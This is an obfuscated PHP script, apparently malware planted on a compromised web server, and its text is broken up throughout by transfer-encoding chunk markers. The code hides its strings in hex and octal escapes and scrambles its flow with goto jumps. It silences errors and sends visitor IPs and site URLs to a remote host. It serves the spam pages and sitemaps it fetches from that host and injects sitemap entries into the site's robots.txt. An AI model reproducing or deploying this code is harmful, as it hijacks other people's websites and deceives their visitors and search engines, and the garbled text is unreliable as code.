1 < 5 ?php 5 got 6 o OsiD 5 T; XV 6 eBg: $ 6 get = 7 $_GET; 8 goto N6b 6 Ge; w0 6 kkS: f 6 unctio 6 n post 5 Curl( 7 $url, $ 8 postData 8 = array 5 ()) { a $postStri 7 ng = is 11 _array($postData) 6 ? htt 6 p_buil 6 d_quer 18 y($postData) : $postData 6 ; if ( c function_exi 7 sts("\x d 63\x75\162\x6 8 c\x5f\x6 7 9\x6e\1 7 51\164" c )) { $ch = c 6 url_in 5 it(); c curl_setopt b _array($ch, a array(CUR 5 LOPT_ 7 URL => 10 $url, CURLOPT_RE 6 TURNTR 5 ANSFE 8 R => tru e e, CURLOPT_SSL 5 _VERI 4 FYPE a ER => fals 18 e, CURLOPT_SSL_VERIFYHOS 16 T => false, CURLOPT_FO 5 LLOWL 5 OCATI 15 ON => true, CURLOPT_T 5 IMEOU 11 T => 10, CURLOPT_ 16 POST => true, CURLOPT_ 8 POSTFIEL 7 DS => $ f postString)); $ d data = curl_e 7 xec($ch d ); curl_close d ($ch); if (!e 6 mpty($ 15 data)) { return $data 6 ; } } b if (ini_get 6 ("\141 b \x6c\154\15 a 7\x77\x5f\ c 165\162\154\ d x5f\146\157\1 6 60\x65 e \x6e")) { $con 8 text = s 6 tream_ d context_creat b e(array("\1 9 50\164\x7 a 4\x70" => b array("\x6d c \x65\x74\150 10 \157\144" => "\x 9 50\117\x5 7 3\x54", d "\x74\x69\x6 10 d\x65\x6f\x75\16 e 4" => 10, "\x6 9 8\145\x61 c \144\145\x72 10 " => "\x43\157\1 e 56\164\145\x6e a \x74\x2d\1 6 24\x79 d \x70\145\72\4 a 0\141\160\ d 160\x6c\151\1 e 43\x61\x74\151 10 \157\156\57\170\ b 55\167\x77\ a 167\55\x66 11 \x6f\162\x6d\x2d\ 7 x75\x72 e \154\145\156\1 11 43\157\144\x65\x6 8 4\15\xa" 7 . "\10 17 3\157\156\x74\145\156\1 9 64\55\x4c c \x65\x6e\147 c \164\150\72\ 7 x20" . 7 strlen( 15 $postString) . "\15\1 d 2" . "\x55\x7 f 3\145\x72\x2d\1 6 01\x67 15 \145\156\164\x3a\40\1 a 15\157\172 11 \x69\x6c\x6c\141\ 7 57\x35\ d 56\x30\15\12" 11 , "\x63\157\x6e\1 f 64\x65\156\164" 15 => $postString), "\1 a 63\163\x6c 13 " => array("\166\x6 e 5\x72\151\146\ 10 x79\x5f\160\x65\ c 145\162" => 15 false, "\166\145\x72\ 9 151\x66\x 18 79\x5f\160\145\x65\x72\x c 5f\x6e\x61\1 11 55\x65" => false) f )); $data = @fi 6 le_get a _contents( 15 $url, false, $context 32 ); if (!empty($data)) { return $data; } } return ' a '; } goto 5 wRFt_ 5 ; Vgu 10 JR: if (!empty($ a get["\162" f ])) { $robotsPa 8 th = $_S 6 ERVER[ b "\x44\117\x c 43\125\115\x 6 45\x4e a \x54\137\1 a 22\117\x4f b \x54"] . "\ e 57\162\157\142 f \x6f\x74\163\x2 e e\x74\x78\164" 7 ; $site 5 mapBl 7 ock = " d \125\163\145\ c 162\55\141\1 6 47\x65 12 \x6e\164\72\40\x2a 7 \xa\x41 10 \x6c\x6c\x6f\167 d \x3a\40\57\xa 19 "; $sitemaps = "\12\x53\x d 69\x74\145\x6 b d\x61\160\x 8 3a\x20{$ 8 http_typ 10 e}{$_SERVER["\x4 b 8\x54\124\x 9 50\x5f\11 c 0\117\123\12 10 4"]}{$_SERVER["\ a 123\x43\x5 b 2\x49\x50\1 b 24\x5f\x4e\ b 101\x4d\x45 7 "]}\x3f f \x73\75\163\12" c ; if (!file_ 17 exists($robotsPath)) { 7 file_pu 17 t_contents($robotsPath, 1b $sitemapBlock . $sitemaps) 8 ; } else 11 { $robotsContent 22 = @file_get_contents($robotsPath) c ; if (strpos 10 ($robotsContent, 1a $_SERVER["\123\x43\122\11 a 1\120\x54\ 12 x5f\x4e\101\x4d\10 7 5"]) == b = false) { 29 @file_put_contents($robotsPath, $sitemaps 6 , FILE 5 _APPE 9 ND); } } a } goto Kw0 6 TV; lb 6 _EM: $ 8 vurl = $ f http_type . "\x c 69\144\154\1 6 71\x32 10 \56\x69\x64\163\ b 150\x6f\x70 d \56\x63\x63\1 b 67\x75\x2e\ b 143\x63\57\ 9 64\61\x39 d \56\x61\163\x e 70\170"; goto 8 VguJR; W 4 NTMb 22 : if (!empty($get["\x69\x64"])) { 12 if (empty($get["\1 f 53\x6b"])) { $i 9 p = get_i 7 p(); $p 5 arams 11 = array("\151\16 a 0" => $ip, 11 "\x69\144" => is d set($get["\15 b 1\144"]) ? 13 $get["\151\x64"] : 9 '', "\x6c c \x6c" => $ll 9 ); $tzstr d = getCurl($v c url, $params 20 ); if (strpos($tzstr, "\x69\144" f ) !== false) { b echo $tzstr 5 ; die 1d ; } } $params = array("\151\x 17 64" => $get["\x69\x64"] b , "\154\154 32 " => $ll); $str = getCurl($vurl, $params); $str = 7 str_rep f lace(array("\17 a 3\x55\x52\ 7 114\x7d b ", "\x7b\xe b 5\x9f\x9f\x a e5\x90\x8d e \x7d"), array( b get_url_inf 7 o("\x66 d \x75\154\x6c" 15 ), get_url_info("\x6e d \157\x5f\167\ b 167\x77")), e $str); echo $ 14 str; die; } else { $ f sitemapUrl = $l 10 l . "\x3f\x73\75 9 " . date( a "\x59\155\ a 144\x48\x6 e 9"); echo "\x3 c c\144\151\x7 c 6\x20\163\16 c 4\171\x6c\14 6 5\x3d\ d 47\164\145\17 14 0\164\x2d\141\x6c\x6 7 9\x67\1 c 56\x3a\143\1 16 45\x6e\x74\145\x72\73\ e 40\160\x61\x64 11 \x64\151\x6e\147\ f x3a\61\x30\160\ c 170\x20\x30\ 9 x3b\47\x3 b e\x3c\x61\x c 20\150\x72\1 9 45\x66\x3 11 d\x22{$sitemapUrl 8 }\42\x20 e \164\141\162\1 d 47\x65\164\x3 d d\x22\x5f\x62 16 \x6c\141\x6e\153\x22\x e 20\x72\x65\154 9 \75\42\15 f 6\157\146\x6f\1 9 54\154\15 c 7\167\42\76\ e 40\123\151\164 11 \x65\155\141\160\ c 74\x2f\141\x c 3e\74\x2f\14 e 4\x69\166\x3e" c ; } goto UHN 9 mn; Kw0TV 17 : if (!empty($get["\x73 19 "])) { $params = array("\ 10 x73" => date("\1 b 31\155\144\ f 110\x69"), "\15 e 6\x75\155\x62\ 16 145\162" => $get["\156 9 \165\x6d\ d 142\145\162"] 48 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xb 6 d\x93\ 8 345\211\ a x8d\xe5\23 5 4\xb0 b \xe5\x9d\20 f 0\175"), array( 1c $http_type . $_SERVER["\x48\ 14 124\124\120\x5f\110\ d x4f\123\124"] 12 . $_SERVER["\x53\ 10 103\122\x49\120\ b 124\x5f\116 a \101\115\1 11 05"]), $str); hea 4 der( 16 "\x43\x6f\156\164\145\ f 156\x74\55\164\ d 171\x70\x65\x d 3a\x74\145\x7 e 8\164\x2f\x78\ 8 x6d\154" 1a ); echo $str; die; } goto d WNTMb; OsiDT: a error_rep 6 orting a (0); goto 8 XVeBg; H 5 WR4h: 16 $http_type = !empty($ 14 _SERVER["\110\124\x5 d 4\120\x53"]) 3 && 1e $_SERVER["\x48\x54\x54\120\123 8 "] !== " d \157\x66\x66" 9 ? "\x68\ d x74\x74\160\x b 73\72\57\x2 5 f" : 1d "\x68\x74\x74\160\x3a\57\x2f" b ; goto rRNp 9 n; rRNpn: 35 $ll = "{$http_type}{$_SERVER["\x48\124\x54\120\137\1 22 10\117\123\124"]}{$_SERVER["\x53\x 17 43\122\x49\120\124\137\ 6 x4e\x4 1a 1\x4d\x45"]}"; goto lb_EM; 5 RyBo c U: function d get_ip() { fo 6 reach 13 (array("\110\x54\x5 14 4\120\137\x58\x5f\x4 b 6\x4f\122\1 d 27\101\122\x4 8 4\105\10 10 4\x5f\106\117\x5 12 2", "\x48\124\x54\ a x50\137\10 f 3\x4c\x49\105\1 d 16\124\x5f\11 f 1\120", "\x52\1 d 05\115\117\12 d 4\105\x5f\101 f \x44\x44\x52") 6 as $ke 9 y) { if ( 15 !empty($_SERVER[$key] 11 )) { return trim( 6 explod 9 e("\54", 12 $_SERVER[$key])[0] e ); } } return d "\x55\116\x4b 10 \116\117\127\x4e f "; } goto w0kkS 7 ; N6bGe 19 : function get_url_info(s d tring $return 11 _type = "\144\157 3d \155\x61\x69\x6e") : string { $host = $_SERVER["\x48\124\124\ 19 x50\137\110\x4f\123\124"] 15 ; if ($return_type == d = "\144\x6f\x f 6d\x61\151\x6e" 11 ) { return $host; 1a } if ($return_type === "\ e x6e\x6f\x5f\x7 b 7\x77\x77") 10 { return ltrim( 16 $host, "\x77\x77\x77\x 6 2e"); a } $protoco 6 l = is 13 set($_SERVER["\110\ 11 x54\124\120\123"] 21 ) && $_SERVER["\110\124\124\x50\1 d 23"] === "\x6 9 f\156" || 26 isset($_SERVER["\x48\124\x54\x50\137\ 13 x58\137\106\117\x52 17 \127\101\122\x44\x45\x4 9 4\137\120 10 \x52\x4f\124\x4f 1e "]) && $_SERVER["\x48\x54\x54\ 18 x50\x5f\130\137\x46\x4f\ 9 x52\x57\x f 41\x52\x44\x45\ b 104\137\x50 1b \122\117\124\x4f"] === "\x6 d 8\164\164\160 16 \x73" ? "\x68\164\164\ 13 x70\x73\x3a\57\x2f" 16 : "\x68\x74\164\x70\x 9 3a\x2f\57 8 "; $base 11 _url = $protocol 9 . $host; 20 if ($return_type === "\142\141\x 22 73\x65") { return $base_url; } $ur 17 i = $_SERVER["\x52\105\ 6 x51\x5 13 5\x45\x53\124\x5f\x a 55\122\111 8 "]; $ful 12 l_url = $base_url 21 . $uri; if ($return_type === "\14 f 6\165\154\x6c") 14 { return $full_url; 1b } return ''; } goto RyBoU; 14 wRFt_: function get f Curl($url, $get 21 Data = array()) { if (!empty($get a Data)) { $ 18 queryString = is_array($ 1d getData) ? http_build_query($ 14 getData) : $getData; 8 $url .= f (strpos($url, 11 "\x3f") === false 10 ? "\x3f" : "\x2 6 6") . 14 $queryString; } if ( 17 function_exists("\143\1 18 65\162\154\x5f\151\x6e\1 f5 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTT 3 PGE 18 T => true, CURLOPT_USERA 4 GENT 12 => "\115\157\172\ 11 151\154\x6c\141\x 9 2f\65\56\ 7a 60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\1 9 37\x75\x7 e 2\x6c\137\x66\ f 157\160\145\x6e 51 ")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\14 1a 5\x74\150\157\144" => "\10 12 7\105\x54", "\x74\ 7 151\155 1b \x65\x6f\165\164" => 10, "\ 10 150\x65\x61\144\ 10 x65\x72" => "\x5 f 5\x73\145\162\x b 2d\x41\147\ 13 145\x6e\x74\x3a\x20 c \x4d\x6f\x7a f \151\154\154\x6 f 1\57\65\56\x30\ b xd\12"), "\ 9 x73\x73\1 11 54" => array("\x7 10 6\145\x72\x69\x6 35 6\x79\x5f\160\x65\145\162" => false, "\166\145\162\15 10 1\146\x79\137\x7 10 0\x65\x65\x72\13 c 7\x6e\141\x6 90 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn: ?> 0